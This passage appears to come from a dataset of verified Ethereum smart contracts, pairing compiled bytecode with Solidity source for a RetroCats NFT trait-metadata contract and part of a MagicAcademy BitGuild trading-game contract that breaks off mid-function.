f252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b457fe5b818303905092915050565b60008082840190508381101515156114d357fe5b80915050929150505600a165627a7a72305820e0fe31dfc119a11adc2d57da448b58e1422f03392c9f7f02dc2f445b8949b0ee0029
|
{"success": true, "error": null, "results": {}}
| 6,563 |
0x28Eb072eC2d7A57c55cEdC9720Da7E267634DCF0
|
// SPDX-License-Identifier: MIT
/**
██████╗ ███████╗████████╗██████╗ ██████╗ ██████╗ █████╗ ████████╗███████╗
██╔══██╗██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗ ██╔════╝██╔══██╗╚══██╔══╝██╔════╝
██████╔╝█████╗ ██║ ██████╔╝██║ ██║ ██║ ███████║ ██║ ███████╗
██╔══██╗██╔══╝ ██║ ██╔══██╗██║ ██║ ██║ ██╔══██║ ██║ ╚════██║
██║ ██║███████╗ ██║ ██║ ██║╚██████╔╝ ╚██████╗██║ ██║ ██║ ███████║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
███╗ ███╗███████╗████████╗ █████╗ ██████╗ █████╗ ████████╗ █████╗
████╗ ████║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗
██╔████╔██║█████╗ ██║ ███████║██║ ██║███████║ ██║ ███████║
██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██║ ██║██╔══██║ ██║ ██╔══██║
██║ ╚═╝ ██║███████╗ ██║ ██║ ██║██████╔╝██║ ██║ ██║ ██║ ██║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
<<https://github.com/retro-cats/retro-cats-contracts>>
*/
pragma solidity 0.8.7;
/*
* @title Our contract for describing what a cat looks like.
* @dev This contract has almost 0 functionality, except for rngToCat
* which is used to "say" what the random number (the DNA)
* of a cat would result in for a cat
*/
contract RetroCatsMetadata {
uint256 internal s_maxChanceValue = 10000;
struct RetroCat {
Background background;
Frame frame;
Breed breed;
Eyes eyes;
Hair hair;
Bling bling;
Head head;
Item item;
Ring ring;
Earring earring;
Vice vice;
}
struct TraitMetadata {
uint256[34] backgrounds;
uint256[12] frames;
uint256[16] breeds;
uint256[10] eyes;
uint256[21] hairs;
uint256[22] blings;
uint256[21] heads;
uint256[22] items;
uint256[22] rings;
uint256[22] earrings;
uint256[22] vices;
}
enum Background {
Black,
Blue,
Green,
Grey,
Orange,
Pink,
Purple,
Red,
Yellow,
LightBlue,
LightGreen,
LightPink,
LightYellow,
D1B,
D1O,
D1P,
D1Y,
D2B,
D2O,
D2P,
D2Y,
D3B,
D3O,
D3P,
D3Y,
D4B,
D4O,
D4P,
D4Y,
D5B,
D5O,
D5P,
D5Y
}
enum Frame {
Black,
Brass,
Browne,
Glit,
Gold,
Leather,
Pine,
Silver,
White,
Wood,
None
}
enum Breed {
Bengal,
Calico,
Chimera,
HighColor,
Mitted,
Solid,
Tabby,
Tortie,
Tuxedo,
Van,
Cloud,
Lightning,
Mister,
Spotty,
Tiger
}
enum Eyes {
BlueOpen,
BlueWink,
Closed,
GreenOpen,
GreenWink,
OrangeOpen,
OrangeWink,
YellowOpen,
YellowWink
}
enum Hair {
Braid,
Dreads,
Fro,
LongFlipped,
LongStraight,
Mullet,
Muttonchops,
Pageboy,
ShortFlipped,
None,
BrownShag,
GingerBangs,
GingerShag,
LongRocker,
Pigtails,
PunkSpikes,
StackedPerm,
TinyBraids,
TVMom,
Wedge
}
enum Bling {
BlueNeckscarf,
CopperBracelet,
DiscoChest,
HandlebarMustache,
LongMustache,
LoveBeads,
MoonNecklaces,
PeaceNecklace,
PearlNecklace,
PukaShellNecklace,
CollarCuffs,
FeatherBoa,
CameoChoker,
Woodenbeads,
GoldFringe,
TurquoiseNecklace,
OrangeBoa,
CoralNecklace,
SilverFringe,
SilverMoon,
SunnyBeads
}
enum Head {
AviatorGlasses,
Daisy,
Eyepatch,
Headband,
Headscarf,
HeartGlasses,
NewsboyCap,
RoundGlasses,
SquareGlasses,
TopHat,
BraidedHeadband,
DaisyHeadband,
DiscoHat,
GoldTBand,
GrandmaGlasses,
GrandpaGlasses,
GreenGlasses,
RainbowScarf,
RedBeret,
TinselWig
}
enum Item {
Atari,
Disco,
Ether,
FlooyDisc,
Houseplants,
LandscapePainting,
LavaLamp,
PalmSurboard,
Record,
RedGuitar,
TennisRacket,
NerfFootball,
Skateboard,
Personalcomputer,
Afghan,
Fondue,
LawnDarts,
Rollerskates,
Phone,
Bicycle,
Chair
}
enum Ring {
Emerald,
MoodBlue,
MoodGreen,
MoodPurple,
MoodRed,
Onyx,
Ruby,
Sapphire,
Tortoiseshell,
Turquoise,
ChainRings,
StackRings,
NoseRing,
MensGoldRing,
MoonRing,
EtherRing,
OrbRing,
GiantDiamond,
TattooCat,
TattooFish,
TattooBird
}
enum Earring {
Coral,
DiamondStuds,
GoldBobs,
GoldChandelier,
GoldHoops,
OrangeWhite,
RubyStuds,
SilverHoops,
Tortoiseshell,
Turquoise,
None,
BlueWhite,
GreenWhite,
SilverChandelier,
SapphireStuds,
EmeraldStuds,
PearlBobs,
GoldChains,
SilverChains,
PinkMod,
GoldJellyfish
}
enum Vice {
Beer,
Bong,
Cigarette,
Eggplant,
JelloSalad,
Joint,
Mushrooms,
PetRock,
PurpleBagOfCoke,
Whiskey,
CheeseBall,
ProtestSigns,
TequilaSunrise,
Grasshopper,
PinaColada,
QueensofDestructionCar,
SPF4,
SWPlush,
SlideProjector,
Tupperware,
TigerMagazine
}
uint256 public constant maxChanceValue = 10000;
string public constant purr = "Meow!";
/**
* @dev Percentages for each trait
* @dev each row will always end with 10000
* When picking a trait based on RNG, we will get a value between 0 - 99999
* We choose the trait based on the sum of the integers up to the index
* For example, if my random number is 251, and my array is [250, 200, 10000]
* This means my trait is at the 1st index. 251 is higher than 250, but lower than
* 250 + 200
*/
function traits() public pure returns (TraitMetadata memory allTraits) {
allTraits = TraitMetadata(
// backgrounds
[500, 1100, 600, 1000, 900, 1400, 700, 2000, 800, 400, 270, 30, 100, 1, 6, 11, 16, 2, 7, 12, 17, 3, 8, 13, 18, 4, 9, 14, 19, 5, 10, 15, 10, maxChanceValue],
// frames
[250, 150, 300, 200, 40, 10, 80, 70, 400, 100, 8400, maxChanceValue],
// breeds
[90, 600, 75, 400, 900, 2700, 2100, 155, 2600, 280, 35, 1, 5, 50, 9, maxChanceValue],
// eyes
[1200, 10, 2000, 1400, 90, 1800, 1000, 1600, 900, maxChanceValue],
// hairs
[600, 4, 1000, 1200, 1200, 1, 500, 300, 700, 1600, 400, 450, 5, 7, 80, 3, 650, 350, 750, 200, maxChanceValue],
// blings
[1100, 200, 800, 500, 200, 700, 1400, 400, 800, 600, 1200, 40, 2, 350, 250, 450, 5, 50, 300, 650, 3, maxChanceValue],
// heads
[1200, 1100, 1, 1300, 600, 300, 1000, 400, 350, 900, 250, 60, 4, 300, 550, 500, 30, 950, 200, 5, maxChanceValue],
// items
[90, 800, 1, 1400, 1200, 900, 700, 550, 1300, 1000, 6, 400, 600, 200, 50, 60, 150, 250, 40, 300, 3, maxChanceValue],
// rings
[400, 1000, 900, 600, 850, 1300, 1200, 800, 500, 700, 250, 200, 150, 200, 500, 60, 350, 30, 1, 6, 3, maxChanceValue],
// earings
[400, 1, 200, 90, 1200, 500, 200, 1000, 300, 600, 3000, 250, 450, 105, 7, 5, 375, 725, 575, 4, 13, maxChanceValue],
// vices
[1000, 420, 1100, 1300, 50, 1200, 1450, 7, 30, 500, 400, 550, 200, 650, 460, 1, 20, 54, 2, 600, 6, maxChanceValue]
);
}
function rngToCat(uint256 randomNumber) external pure returns (RetroCat memory retroCat) {
TraitMetadata memory allTraits = traits();
// retroCat = RetroCat(Background(traitIndexes[0]),Frame(1),Breed(1),Eyes(1),Hair(1),Bling(1),Head(1),Item(1),Ring(1),Earring(1),Vice(1));
retroCat = RetroCat({
background: Background(getTraitIndex(allTraits.backgrounds, getModdedRNG(randomNumber, 0))),
frame: Frame(getTraitIndex(allTraits.frames, getModdedRNG(randomNumber, 1))),
breed: Breed(getTraitIndex(allTraits.breeds, getModdedRNG(randomNumber, 2))),
eyes: Eyes(getTraitIndex(allTraits.eyes, getModdedRNG(randomNumber, 3))),
hair: Hair(getTraitIndex(allTraits.hairs, getModdedRNG(randomNumber, 4))),
bling: Bling(getTraitIndex(allTraits.blings, getModdedRNG(randomNumber, 5))),
head: Head(getTraitIndex(allTraits.heads, getModdedRNG(randomNumber, 6))),
item: Item(getTraitIndex(allTraits.items, getModdedRNG(randomNumber, 7))),
ring: Ring(getTraitIndex(allTraits.rings, getModdedRNG(randomNumber, 8))),
earring: Earring(getTraitIndex(allTraits.earrings, getModdedRNG(randomNumber, 9))),
vice: Vice(getTraitIndex(allTraits.vices, getModdedRNG(randomNumber, 10)))
});
}
function getModdedRNG(uint256 randomNumber, uint256 seed) public pure returns (uint256 modded_rng) {
uint256 newRng = uint256(keccak256(abi.encode(randomNumber, seed)));
modded_rng = newRng % maxChanceValue;
}
function getTraitIndex(uint256[10] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[12] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[16] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[21] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[22] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
function getTraitIndex(uint256[34] memory traitArray, uint256 moddedRNG) private pure returns (uint256) {
uint256 cumulativeSum = 0;
for (uint256 i = 0; i < traitArray.length; i++) {
if (moddedRNG >= cumulativeSum && moddedRNG < cumulativeSum + traitArray[i]) {
return i;
}
cumulativeSum = cumulativeSum + traitArray[i];
}
revert("Value outside maxChanceValue");
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806354b02b3b1461005c578063be5d23d314610096578063dc90579a146100ad578063dd6902fa146100cd578063e1fc334f146100e0575b600080fd5b610080604051806040016040528060058152602001644d656f772160d81b81525081565b60405161008d91906111d2565b60405180910390f35b61009f61271081565b60405190815260200161008d565b6100c06100bb36600461105b565b6100f5565b60405161008d9190611227565b61009f6100db366004611074565b6103b8565b6100e8610405565b60405161008d9190611305565b6100fd610eb0565b6000610107610405565b905060405180610160016040528061012d83600001516101288760006103b8565b610b5d565b602081111561013e5761013e611455565b602081111561014f5761014f611455565b815260200161016c83602001516101678760016103b8565b610c30565b600a81111561017d5761017d611455565b600a81111561018e5761018e611455565b81526020016101ab83604001516101a68760026103b8565b610cb0565b600e8111156101bc576101bc611455565b600e8111156101cd576101cd611455565b81526020016101ea83606001516101e58760036103b8565b610d30565b60088111156101fb576101fb611455565b600881111561020c5761020c611455565b815260200161022983608001516102248760046103b8565b610db0565b601381111561023a5761023a611455565b601381111561024b5761024b611455565b81526020016102688360a001516102638760056103b8565b610e30565b601481111561027957610279611455565b601481111561028a5761028a611455565b81526020016102a28360c001516102248760066103b8565b60138111156102b3576102b3611455565b60138111156102c4576102c4611455565b81526020016102dc8360e001516102638760076103b8565b60148111156102ed576102ed611455565b60148111156102fe576102fe611455565b81526020016103178361010001516102638760086103b8565b601481111561032857610328611455565b601481111561033957610339611455565b81526020016103528361012001516102638760096103b8565b601481111561036357610363611455565b601481111561037457610374611455565b815260200161038d83610140015161026387600a6103b8565b601481111561039e5761039e611455565b60148111156103af576103af611455565b90529392505050565b60008083836040516020016103d7929190918252602082015260400190565b60408051601f19818403018152919052805160209091012090506103fd6127108261141d565b949350505050565b61040d610f0b565b6040518061016001604052806040518061044001604052806101f4815260200161044c815260200161025881526020016103e88152602001610384815260200161057881526020016102bc81526020016107d081526020016103208152602001610190815260200161010e8152602001601e8152602001606481526020016001815260200160068152602001600b8152602001601081526020016002815260200160078152602001600c8152602001601181526020016003815260200160088152602001600d8152602001601281526020016004815260200160098152602001600e81526020016013815260200160058152602001600a8152602001600f8152602001600a8152602001612710815250815260200160405180610180016040528060fa81526020016096815260200161012c815260200160c8815260200160288152602001600a815260200160508152602001604681526020016101908152602001606481526020016120d081526020016127108152508152602001604051806102000160405280605a81526020016102588152602001604b815260200161019081526020016103848152602001610a8c81526020016108348152602001609b8152602001610a2881526020016101188152602001602381526020016001815260200160058152602001603281526020016009815260200161271081525081526020016040518061014001604052806104b08152602001600a81526020016107d081526020016105788152602001605a815260200161070881526020016103e88152602001610640815260200161038481526020016127108152508152602001604051806102a001604052806102588152602001600481526020016103e881526020016104b081526020016104b08152602001600181526020016101f4815260200161012c81526020016102bc8152602001610640815260200161019081526020016101c281526020016005815260200160078152602001605081526020016003815260200161028a815260200161015e81526020016102ee815260200160c881526020016127108152508152602001604051806102c0016040528061044c815260200160c8815260200161032081526020016101f4815260200160c881526020016102bc815260200161057881526020016101908152602001610320815260200161025881526020016104b08152602001602881526020016002815260200161015e815260200160fa81526020016101c28152602001600581526020016032815260200161012c815260200161028a8152602001600381526020016127108152508152602001604051806102a001604052806104b0815260200161044c8152602001600181526020016105148152602001610258815260200161012c81526020016103e88152602001610190815260200161015e8152602001610384815260200160fa8152602001603c81526020016004815260200161012c815260200161022681526020016101f48152602001601e81526020016103b6815260200160c88152602001600581526020016127108152508152602001604051806102c00160405280605a815260200161032081526020016001815260200161057881526020016104b0815260200161038481526020016102bc8152602001610226815260200161051481526020016103e88152602001600681526020016101908152602001610258815260200160c8815260200160328152602001603c81526020016096815260200160fa81526020016028815260200161012c8152602001600381526020016127108152508152602001604051806102c0016040528061019081526020016103e8815260200161038481526020016102588152602001610352815260200161051481526020016104b0815260200161032081526020016101f481526020016102bc815260200160fa815260200160c881526020016096815260200160c881526020016101f48152602001603c815260200161015e8152602001601e81526020016001815260200160068152602001600381526020016127108152508152602001604051806102c0016040528061019081526020016001815260200160c88152602001605a81526020016104b081526020016101f4815260200160c881526020016103e8815260200161012c81526020016102588152602001610bb8815260200160fa81526020016101c2815260200160698152602001600781526020016005815260200161017781526020016102d5815260200161023f815260200160048152602001600d81526020016127108152508152602001604051806102c001604052806103e881526020016101a4815260200161044c81526020016105148152602001603281526020016104b081526020016105aa815260200160078152602001601e81526020016101f481526020016101908152602001610226815260200160c8815260200161028a81526020016101cc815260200160018152602001601481526020016036815260200160028152602001610258815260200160068152602001612710815250815250905090565b600080805b6022811015610bdd57818410158015610b9a5750848160228110610b8857610b8861146b565b6020020151610b9790836113ea565b84105b15610ba8579150610c2a9050565b848160228110610bba57610bba61146b565b6020020151610bc990836113ea565b915080610bd581611402565b915050610b62565b5060405162461bcd60e51b815260206004820152601c60248201527f56616c7565206f757473696465206d61784368616e636556616c756500000000604482015260640160405180910390fd5b92915050565b600080805b600c811015610bdd57818410158015610c6d57508481600c8110610c5b57610c5b61146b565b6020020151610c6a90836113ea565b84105b15610c7b579150610c2a9050565b8481600c8110610c8d57610c8d61146b565b6020020151610c9c90836113ea565b915080610ca881611402565b915050610c35565b600080805b6010811015610bdd57818410158015610ced5750848160108110610cdb57610cdb61146b565b6020020151610cea90836113ea565b84105b15610cfb579150610c2a9050565b848160108110610d0d57610d0d61146b565b6020020151610d1c90836113ea565b915080610d2881611402565b915050610cb5565b600080805b600a811015610bdd57818410158015610d6d57508481600a8110610d5b57610d5b61146b565b6020020151610d6a90836113ea565b84105b15610d7b579150610c2a9050565b8481600a8110610d8d57610d8d61146b565b6020020151610d9c90836113ea565b915080610da881611402565b915050610d35565b600080805b6015811015610bdd57818410158015610ded5750848160158110610ddb57610ddb61146b565b6020020151610dea90836113ea565b84105b15610dfb579150610c2a9050565b848160158110610e0d57610e0d61146b565b6020020151610e1c90836113ea565b915080610e2881611402565b915050610db5565b600080805b6016811015610bdd57818410158015610e6d5750848160168110610e5b57610e5b61146b565b6020020151610e6a90836113ea565b84105b15610e7b579150610c2a9050565b848160168110610e8d57610e8d61146b565b6020020151610e9c90836113ea565b915080610ea881611402565b915050610e35565b604080516101608101909152806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160005b905290565b604051806101600160405280610f1f610fa1565b8152602001610f2c610fc0565b8152602001610f39610fdf565b8152602001610f46610ffe565b8152602001610f5361101d565b8152602001610f6061103c565b8152602001610f6d61101d565b8152602001610f7a61103c565b8152602001610f8761103c565b8152602001610f9461103c565b8152602001610f0661103c565b6040518061044001604052806022906020820280368337509192915050565b604051806101800160405280600c906020820280368337509192915050565b6040518061020001604052806010906020820280368337509192915050565b604051806101400160405280600a906020820280368337509192915050565b604051806102a001604052806015906020820280368337509192915050565b604051806102c001604052806016906020820280368337509192915050565b60006020828403121561106d57600080fd5b5035919050565b6000806040838503121561108757600080fd5b50508035926020909101359150565b8060005b600a8110156110b957815184526020938401939091019060010161109a565b50505050565b8060005b600c8110156110b95781518452602093840193909101906001016110c3565b8060005b60108110156110b95781518452602093840193909101906001016110e6565b8060005b60158110156110b9578151845260209384019390910190600101611109565b8060005b60168110156110b957815184526020938401939091019060010161112c565b8060005b60228110156110b957815184526020938401939091019060010161114f565b6021811061117e5761117e611455565b9052565b6015811061117e5761117e611455565b600f811061117e5761117e611455565b6009811061117e5761117e611455565b600b811061117e5761117e611455565b6014811061117e5761117e611455565b600060208083528351808285015260005b818110156111ff578581018301518582016040015282016111e3565b81811115611211576000604083870101525b50601f01601f1916929092016040019392505050565b60006101608201905061123b82845161116e565b602083015161124d60208401826111b2565b5060408301516112606040840182611192565b50606083015161127360608401826111a2565b50608083015161128660808401826111c2565b5060a083015161129960a0840182611182565b5060c08301516112ac60c08401826111c2565b5060e08301516112bf60e0840182611182565b50610100808401516112d382850182611182565b5050610120808401516112e882850182611182565b5050610140808401516112fd82850182611182565b505092915050565b6000611c008201905061131982845161114b565b602083015161132c6104408401826110bf565b5060408301516113406105c08401826110e2565b5060608301516113546107c0840182611096565b506080830151611368610900840182611105565b5060a083015161137c610ba0840182611128565b5060c0830151611390610e60840182611105565b5060e08301516113a4611100840182611128565b506101008301516113b96113c0840182611128565b506101208301516113ce611680840182611128565b506101408301516113e3611940840182611128565b5092915050565b600082198211156113fd576113fd61143f565b500190565b60006000198214156114165761141661143f565b5060010190565b60008261143a57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220734047c5244dd9387a866640dead7c2520a4642c5b671f9fbcd374d9ed16561864736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 6,564 |
0x21598cebb98796f2746bcca0704b4a8d89b70e62
|
pragma solidity ^0.4.18;
/* ==================================================================== */
/* Copyright (c) 2018 The MagicAcademy Project. All rights reserved.
/*
/* https://www.magicacademy.io One of the world's first idle strategy games of blockchain
/*
/* authors rainy@livestar.com/fanny.zheng@livestar.com
/*
/* ==================================================================== */
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/*
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
/// @dev Admin Address
mapping (address => bool) adminContracts;
/// @dev Trust contract
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface BitGuildTokenInterface { // implements ERC20Interface
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface CardsInterface {
function getGameStarted() external constant returns (bool);
function getOwnedCount(address player, uint256 cardId) external view returns (uint256);
function getMaxCap(address _addr,uint256 _cardId) external view returns (uint256);
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
function balanceOf(address player) public constant returns(uint256);
function coinBalanceOf(address player,uint8 itype) external constant returns(uint256);
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) external;
function getUnitsProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256);
function increasePlayersJadeProduction(address player, uint256 increase) public;
function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue, bool iflag) external;
function getUintsOwnerCount(address _address) external view returns (uint256);
function AddPlayers(address _address) external;
function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external;
function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external;
function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external;
function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external;
function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256);
function setUpgradesOwned(address player, uint256 upgradeId) external;
function updatePlayersCoinByOut(address player) external;
function balanceOfUnclaimed(address player) public constant returns (uint256);
function setLastJadeSaveTime(address player) external;
function setRoughSupply(uint256 iroughSupply) external;
function setJadeCoin(address player, uint256 coin, bool iflag) external;
function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256);
function reducePlayersJadeProduction(address player, uint256 decrease) public;
}
interface GameConfigInterface {
function unitCoinProduction(uint256 cardId) external constant returns (uint256);
function unitPLATCost(uint256 cardId) external constant returns (uint256);
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256);
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256);
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256);
function getUpgradeCardsInfo(uint256 upgradecardId,uint256 existing) external constant returns (
uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost
);
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool);
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool);
}
interface RareInterface {
function getRareItemsOwner(uint256 rareId) external view returns (address);
function getRareItemsPrice(uint256 rareId) external view returns (uint256);
function getRareItemsPLATPrice(uint256 rareId) external view returns (uint256);
function getRarePLATInfo(uint256 _tokenId) external view returns (
uint256 sellingPrice,
address owner,
uint256 nextPrice,
uint256 rareClass,
uint256 cardId,
uint256 rareValue
);
function transferToken(address _from, address _to, uint256 _tokenId) external;
function setRarePrice(uint256 _rareId, uint256 _price) external;
}
contract BitGuildTrade is AccessAdmin {
BitGuildTokenInterface public tokenContract;
//data contract
CardsInterface public cards ;
GameConfigInterface public schema;
RareInterface public rare;
function BitGuildTrade() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
event UnitBought(address player, uint256 unitId, uint256 amount);
event UpgradeCardBought(address player, uint256 upgradeId);
event BuyRareCard(address player, address previous, uint256 rareId,uint256 iPrice);
event UnitSold(address player, uint256 unitId, uint256 amount);
mapping(address => mapping(uint256 => uint256)) unitsOwnedOfPLAT; //cards bought through plat
function() external payable {
revert();
}
function setBitGuildToken(address _tokenContract) external onlyOwner {
tokenContract = BitGuildTokenInterface(_tokenContract);
}
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
//normal cards
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
//rare cards
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function kill() public onlyOwner {
tokenContract.transferFrom(this, msg.sender, tokenContract.balanceOf(this));
selfdestruct(msg.sender); //end execution, destroy current contract and send funds to a
}
/// @notice Returns all the relevant information about a specific tokenId.
/// val1:flag,val2:id,val3:amount
function _getExtraParam(bytes _extraData) private pure returns(uint256 val1,uint256 val2,uint256 val3) {
if (_extraData.length == 2) {
val1 = uint256(_extraData[0]);
val2 = uint256(_extraData[1]);
val3 = 1;
} else if (_extraData.length == 3) {
val1 = uint256(_extraData[0]);
val2 = uint256(_extraData[1]);
val3 = uint256(_extraData[2]);
}
}
function receiveApproval(address _player, uint256 _value, address _tokenContractAddr, bytes _extraData) external {
require(msg.sender == _tokenContractAddr);
require(_extraData.length >=1);
require(tokenContract.transferFrom(_player, address(this), _value));
uint256 flag;
uint256 unitId;
uint256 amount;
(flag,unitId,amount) = _getExtraParam(_extraData);
if (flag==1) {
buyPLATCards(_player, _value, unitId, amount); // 1-39
} else if (flag==3) {
buyUpgradeCard(_player, _value, unitId); // >=1
} else if (flag==4) {
buyRareItem(_player, _value, unitId); //rarecard
}
}
/// buy normal cards via jade
function buyBasicCards(uint256 unitId, uint256 amount) external {
require(cards.getGameStarted());
require(amount>=1);
uint256 existing = cards.getOwnedCount(msg.sender,unitId);
uint256 total = SafeMath.add(existing, amount);
if (total > 99) { // Default unit limit
require(total <= cards.getMaxCap(msg.sender,unitId)); // Housing upgrades (allow more units)
}
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
if (unitId>=1 && unitId<=39) {
(, coinProduction, coinCost, ethCost,) = schema.getCardInfo(unitId, existing, amount);
} else if (unitId>=40) {
(, coinCost, ethCost,) = schema.getBattleCardInfo(unitId, existing, amount);
}
require(cards.balanceOf(msg.sender) >= coinCost);
require(ethCost == 0); // Free ether unit
// Update players jade
cards.updatePlayersCoinByPurchase(msg.sender, coinCost);
///****increase production***/
if (coinProduction > 0) {
cards.increasePlayersJadeProduction(msg.sender,cards.getUnitsProduction(msg.sender, unitId, amount));
